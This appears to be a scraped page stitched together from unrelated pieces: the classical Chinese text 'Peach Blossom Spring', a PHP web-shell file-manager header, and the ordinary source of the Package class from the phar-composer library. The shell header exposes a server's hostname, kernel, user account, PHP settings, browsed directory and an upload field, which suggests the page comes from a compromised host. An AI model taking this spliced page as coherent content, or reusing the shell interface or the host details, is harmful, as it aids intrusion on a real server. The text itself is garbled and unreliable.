晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。 林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。 见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝) 既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。 南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。
|
Server : Apache System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64 User : rainic ( 1014) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system Directory : /opt/cpanel/ea-wappspector/vendor/clue/phar-composer/src/Package/ |
Upload File : |
<?php
namespace Clue\PharComposer\Package;
use Symfony\Component\Finder\Finder;
/**
* The package represents either the main/root package or one of the vendor packages.
*/
class Package
{
private $package;
private $directory;
/**
* Instantiate package
*
* @param array $package package information (parsed composer.json)
* @param string $directory base directory of this package
*/
public function __construct(array $package, $directory)
{
$this->package = $package;
$this->directory = rtrim($directory, '/') . '/';
}
/**
* get package name as defined in composer.json
*
* @return ?string
*/
public function getName()
{
return isset($this->package['name']) ? $this->package['name'] : null;
}
/**
* @return string
*/
public function getShortName()
{
// skip vendor name from package name or default to last directory component
$name = $this->getName();
if ($name === null) {
$name = realpath($this->directory);
if ($name === false) {
$name = $this->directory;
}
}
return basename($name);
}
/**
* Get path to vendor directory (relative to package directory, always ends with slash)
*
* @return string
*/
public function getPathVendor()
{
$vendor = 'vendor';
if (isset($this->package['config']['vendor-dir'])) {
$vendor = $this->package['config']['vendor-dir'];
}
return $vendor . '/';
}
/**
* Get package directory (the directory containing its composer.json, always ends with slash)
*
* @return string
*/
public function getDirectory()
{
return $this->directory;
}
/**
* @return \Clue\PharComposer\Package\Bundle
*/
public function bundle()
{
$bundle = new Bundle();
// return empty bundle if this package does not define any files and directory does not exist
if (empty($this->package['autoload']) && !is_dir($this->directory . $this->getPathVendor())) {
return $bundle;
}
$iterator = Finder::create()
->files()
->ignoreVCS(true)
->exclude(rtrim($this->getPathVendor(), '/'))
->notPath('/^composer\.phar/')
->notPath('/^phar-composer\.phar/')
->in($this->getDirectory());
return $bundle->addDir($iterator);
}
/**
* Get list of files defined as "bin" (relative to package directory)
*
* @return string[]
*/
public function getBins()
{
return isset($this->package['bin']) ? $this->package['bin'] : array();
}
}